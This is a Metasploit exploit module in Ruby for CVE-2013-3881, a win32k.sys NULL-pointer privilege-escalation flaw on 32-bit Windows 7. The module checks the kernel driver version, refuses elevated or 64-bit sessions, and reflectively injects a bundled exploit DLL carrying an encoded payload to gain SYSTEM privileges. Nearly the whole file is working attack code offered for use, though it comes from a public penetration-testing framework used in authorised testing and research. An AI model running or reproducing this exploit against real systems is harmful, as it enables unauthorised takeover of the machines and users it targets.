##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
          'Description' => %q{
            This module exploits a vulnerability in win32k.sys where under
            specific conditions TrackPopupMenuEx will pass a NULL pointer to
            the MNEndMenuState procedure. This module has been tested
            successfully on Windows 7 SP0 and Windows 7 SP1.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Seth Gibson', # vulnerability discovery
            'Dan Zentner', # vulnerability discovery
            'Matias Soler', # vulnerability analysis
            'Spencer McIntyre'
          ],
          'Arch' => ARCH_X86,
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows 7 SP0/SP1', {} ]
          ],
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            [ 'CVE', '2013-3881' ],
            [ 'OSVDB', '98212' ],
            [ 'BID', '62830'],
            [ 'MSB', 'MS13-081' ],
            [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
            [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
          ],
          'DisclosureDate' => '2013-10-08',
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [ CRASH_OS_RESTARTS, ],
            'Reliability' => UNKNOWN_RELIABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
  end

  def check
    if session.platform != 'windows'
      return Exploit::CheckCode::Safe
    end

    file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    case build
    when 7600
      return Exploit::CheckCode::Appears
    when 7601
      return Exploit::CheckCode::Appears if revision <= 18126
    when 9200
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Unknown
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    if sysinfo['Architecture'] == ARCH_X64
      fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
    end

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'),
      encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end